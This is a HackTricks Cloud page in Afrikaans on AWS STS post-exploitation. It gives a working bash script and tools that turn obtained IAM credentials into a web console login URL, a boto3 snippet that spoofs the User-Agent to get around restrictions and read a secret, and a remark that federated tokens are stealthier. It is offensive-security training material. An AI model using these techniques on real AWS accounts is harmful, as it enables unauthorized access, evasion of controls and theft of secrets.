AWS - STS Post Exploitation
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
STS
Vir meer inligting:
AWS - IAM, Identity Center & SSO Enum
Van IAM Creds na Console
As jy daarin geslaag het om sommige IAM credentials te bekom, mag jy belangstel om toegang tot die web console te kry met behulp van die volgende gereedskap.\ Let daarop dat die gebruiker/rol die toestemming sts:GetFederationToken moet hê.
Pasgemaakte skrip
Die volgende skrip sal die default profile en ’n standaard AWS location (nie gov en nie cn) gebruik om vir jou ’n signed URL te gee wat jy kan gebruik om by die web console aan te meld:
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi
# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"
# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
aws_consoler
Jy kan ’n webkonsoolskakel genereer met https://github.com/NetSPI/aws_consoler.
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
Warning
Maak seker dat die IAM-gebruiker die
sts:GetFederationTokentoestemming het, of verskaf ’n rol om aan te neem.
aws-vault
aws-vault is ’n hulpmiddel om AWS credentials veilig te stoor en toegang daartoe te verkry in ’n ontwikkelingsomgewing.
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
Note
Jy kan ook aws-vault gebruik om ’n browser console session te verkry
Van Web Console na IAM Creds
Die browser-uitbreiding https://github.com/AI-redteam/clier is in staat om IAM-geloofsbriewe uit die netwerk te onderskep voordat dit in die geheue van die browser beskerm word.
Oorkom User-Agent-beperkings met Python
Indien daar ’n beperking om sekere aksies uit te voer gebaseer op die user agent wat gebruik word (soos om die gebruik van die python boto3 library te beperk gebaseer op die user agent), is dit moontlik om die vorige tegniek te gebruik om met die web console via ’n browser te verbind, of jy kan direk die boto3 user-agent wysig deur die volgende te doen:
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")
# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
sts:GetFederationToken
Met hierdie toestemming is dit moontlik om ’n gefedereerde identiteit te skep vir die gebruiker wat dit uitvoer, beperk tot die toestemmings wat hierdie gebruiker het.
aws sts get-federation-token --name <username>
Die token wat deur sts:GetFederationToken teruggegee word behoort aan die gefedereerde identiteit van die oproepende gebruiker, maar met beperkte regte. Selfs as die gebruiker administrator-regte het, kan sekere aksies soos die lys van IAM-gebruikers of die heg van policies nie deur die gefedereerde token uitgevoer word nie.
Boonop is hierdie metode ietwat meer stealthy, aangesien die gefedereerde gebruiker nie in die AWS Portal verskyn nie; dit kan slegs deur CloudTrail-logs of moniteringsinstrumente waargeneem word.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

